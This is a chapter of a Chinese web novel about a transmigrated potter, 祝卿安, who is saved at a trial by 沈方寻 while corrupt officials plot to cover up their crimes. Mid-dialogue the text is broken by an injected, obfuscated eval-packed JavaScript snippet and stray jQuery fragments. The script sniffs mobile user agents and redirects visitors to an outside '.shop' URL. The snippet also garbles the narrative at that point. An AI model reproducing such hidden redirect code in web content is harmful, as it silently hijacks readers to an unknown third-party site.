卢昌富拿出赫连将军出巡的事情做文章,沈方寻便用皇后娘娘的懿旨在破局。
谁大谁小,高下立见。
有了沈方寻出面保下祝卿安,陶显亦和卢昌富自然不敢再往她身上加注罪名。
与陶显亦脸上的沉郁不同,卢昌富很快神色如常,既然无法将这两条人命推卸到祝卿安身上,那尽快结案最好,免得再生是非。
“沈公子,那这案子……你看……”
沈方寻面相堂上,向李慎鞠了一躬,道:“既没有证据能证明祝卿安挑唆,那林三娘的事便已自刎结案,莫要再追查了。”
祝卿安听后抬头望向沈方寻,自刎,也就是说林三娘隐忍的七年里所做的一切都毫无意义,最终也只落得个‘自刎’的结局,这让她如何能甘心?
也许十几年后,别人谈起林三娘时也都逃不掉状告其夫的一罪。
祝卿安刚要开口说些什么,却被沈方寻一个眼神制止住。
祝卿安紧握双拳,指甲深深嵌入掌心,最终还是认同了沈方寻的安排。
眼下她连自己的性命都保不住,更别提替林三娘平反。
此番一商讨,李慎木槌一落,宣判林三娘一案了结。
围观的人群渐渐散去,喧闹的公堂也逐渐恢复了平静。
眼见沈方寻要带祝卿安离开公堂,卢昌富不动声色地给了陶显亦一个眼神,陶显亦便上前拦住了沈方寻及祝卿安的去路。
他眼中闪过一抹贼光,要说赚银子,整个天衡他称第一,就没人敢称第二。
皇后娘娘相中了祝卿安的手艺,把人带回陶厂,这银子才会一分不少地流入陶厂。
“祝卿安是我陶厂的工匠,如今案子已经结了,她自然该回到陶厂继续做工。”
祝卿安虽站在沈方寻身后,却也抬眼瞧去,理是这么个理,可她这样回了陶厂,陶显亦难保不会让她在陶厂悄无声息地消失。
陶显亦磨蹉着自己的下巴,势在必得道:“你可别忘了,你的卖身契还是我手上。”
沈方寻见状,轻声一笑,神色中带着几分轻蔑,字字句句直戳人要害:“陶大人,你现在才想起来祝卿安是你陶厂的陶匠,怎么刚才在堂上不见你对你陶厂的陶匠网开一面。”
陶显亦面色一僵,只能干笑两声道:“都是误会,误会解开了,我自然要把我的人带回去。”
祝卿安莫名心中一阵作呕,尤其是陶显亦两眼眯成一条缝的坏笑,一看就知道他在打什么主意。
看来这陶显亦是不准备轻易放过她,即便林三娘的案子未能轻易推卸到她身上,也要把她困死在陶厂一辈子。
这时,卢昌富也走了过来,慢悠悠地说道:“沈公子也是商人,这雇主之间的规矩想必你也知晓一二,卖身契在何处,人便要在何处终老。这女子卖身到陶厂,就算死也是要死在陶厂的。”
沈方寻略一思忖,卖身契一事确实是陶显亦他们占理,若在泸州城内强硬地把祝卿安带走,恐怕难如登天。
可若真让他们把人带回陶厂,以陶显亦和卢昌富的手段,跟把祝卿安送入地狱有何不同,即便不死,也能硬生生被他们扒下一层皮。
沈方寻沉默片刻,骤然看到了祝卿安手腕上青紫痕迹,很快便道:“卢大人此言差矣,皇后娘娘既然将此差事交给了我,我自然要负责到底,可如今祝卿安手伤未愈,如何做工?待宫中的太医医治过后,我自然会将她送回陶厂。”
沈方寻顿了一下,眼睛一眨不眨地盯着卢昌富道:“卢大人,您不会这点面子都不给我。”
陶显亦听后陷入沉默,正欲开口,却被卢昌富拦了下来。
他转而对沈方寻笑道:“这宫中来的太医跟泸州城内的大夫自然不可比拟,能替祝姑娘治疗手伤再好不过。既然是沈公子开口,卢某便不再多加阻拦。”
“就依沈公子所言,待祝卿安治疗伤势后,再回陶厂便可。”
沈方寻微微颌首,随即带着祝卿安转身而去。
待二人走后,陶显亦才一脸担忧地看着卢昌富道:“妹夫,你就不怕祝卿安跟沈大人说些什么不该说的?”
卢昌富冷笑一声,朝停在知府外的马车走去,边走边道:“该说的,昨晚上已经说完了,他们还能知道我们什么秘密。”
“昨晚?这……这……”陶显亦神色逐渐慌张,开始思索祝卿安昨晚怎么跟沈方寻攀上关系的,后一想,不对,这祝卿安昨个不应该在知府的牢中关押着。
“沈方寻背后有沈家还有当今皇后撑腰,眼下不是跟他撕破脸的时候,卖他个面子,不妨事。李氏那边我也已经处理干净,你对外称她受不了打击,随女一同去就好。”
卢昌富被人扶着上了马车,又从窗中探出脑袋,看着左右无人,低声道:“陶厂内的那些事你尽快处理好,尤其是……账目上的问题,该烧的都烧掉。”
他顿了一下,声音一沉,带着警告道:“大哥,别让人在这件事上抓住把柄,否则,谁都救不了你。”
陶显亦面色一凛,紧忙应道:“是,是,我这就去办。”
说着,陶显亦便上了另一架马车,快步离开。
卢昌富望着知府的方向,门口的两个石狮子神色凌凌,他不禁嘲讽一笑,这李慎的知县看来是当的太过安逸,什么阿猫阿狗都往外放。
沈方寻将人带回客栈,如今一脱离苦海,祝卿安看四周都是好奇的。
从她穿越过来已经过了个把月,倒是头一次见泸州城内的景象。
这个时辰刚好是用晚膳的时辰,客栈的后厨刚好传来肉沫香味,祝卿安从不是个好吃的人,可一连几个月的素食,不免也让她对肉的味道垂帘欲滴。
沈方寻一路上到二楼,祝卿安只能跟在他身后吸着鼻子,毕竟自己身无分文,沈方寻又刚救过他一命,她哪好意思提些其他的要求。
这件客栈不算小,沈方寻进了屋子就在口袋里寻找着什么,过了半晌,他才掏出一个小瓶子来。
那药香味扑面而来,让祝卿安混沌的脑子清醒了几分,她这才注意到自己手腕上刺目的青紫淤青。
而沈方寻正准备坐在椅子上,为祝卿安上药。
祝卿安四处瞅了瞅,想起沈方寻在知府前说的话,道:“你就是那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151261|146925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个从宫中来的要为我疗伤的太医?”
沈方寻轻轻一笑,眼中带着一丝玩味,还有一丝难以察觉的骄傲道:“这都被你看出来的,实不相瞒,我曾为皇子医治数月,他大病痊愈,我功成身退。”
这样一说,祝卿安倒对他的医术有了些好奇,能为皇子诊治的,一定不是普通人。
“皇子得的什么病?”
“梦魇。”
?梦魇?大病?
祝卿安嘴角抽了抽,正不知道怎么接话的时候,沈方寻笑道:“开个玩笑,你这擦伤抹上药就好,不需要什么医术的。”
说罢,他掀开小瓶的盖子,朝祝卿安细嫩的皮肤抹去,那药膏闻着倒香,跟创伤一触碰,反倒火辣辣地刺痛起来。
沈方寻还以为是自己抓疼了祝卿安,连忙泄了点力气。
祝卿安疼的五官紧皱,连忙摆着手。
等疼痛稍有缓解,祝卿安才认真看着收起膏药的沈方寻。
她在天衡虽然见得人不多,可无一不是趋炎附势、恃强凌弱的主,但这沈方寻好似是不同的。
在别人眼中她的性命不过如同那疯长的野草般微不足道,可沈方寻却一次次地愿意救她于水火之中,丝毫不在乎自己跟他不同等的地位,不平等的身份。
如果林三娘和阿柳当年也能碰到这样的人,或许就会有跟现在不同的结局。
窗外的天色渐渐暗了下来,客栈楼下小二的吆喝声和客人间的谈笑交织在一起,让祝卿安顿感孤寂。
她想起陶厂里那些惨死的女子,她们也是这般风华正茂的年纪,她们或许也能拥有这样肆意洒脱的生活,可却最终落得个无声无息殒命陶厂,连个收尸的人都没有。
祝卿安轻咬下唇,心中涌起一股悲愤。
“沈大人……”祝卿安开口,声音有些嘶哑道:“你一定会为那帮惨死的女子讨回公道,是不是?”
沈方寻抬起头,看着她眸中泪光,明明应该说些肯定的话来安慰,可那不确定的事他终究没有办法给出确切的答案。
陶显亦与卢昌富已在泸州城内只手遮天数十年,连泸州的官服都拿他们没有办法,更何况是嫉恶如仇的他们。
沈方寻只能轻叹一口气,转移了话题道:“我先送你出泸州城,其余的事情再说。”
陶显亦和卢昌富的针对很明显,再入陶厂如同深入虎穴,就算不被弄死,也容易被拔掉一层皮,可祝卿安思忖片刻,她答应过李妈妈要为林三娘讨回公道,不能什么都不做就这样离开。
她还有身在陶厂的阿姐,还有危机重重的系统任务。
就这样逃跑岂不是与原计划背离。
“不,我要回陶厂去。”
这话让沈方寻动作一顿神色一惊,她此番应该见识过陶显亦的手段才对。
他试图提醒祝卿安其中严重性,可祝卿安却突然跪下说道:“林三娘留下的账本到底藏在何处,不管我们怎么猜测都是毫无头绪,必然需要有人在陶厂内里应外合,才方便行事。”
祝卿安带了些试探的意思开口道:“大侠当日夜访陶厂,不也是为此?”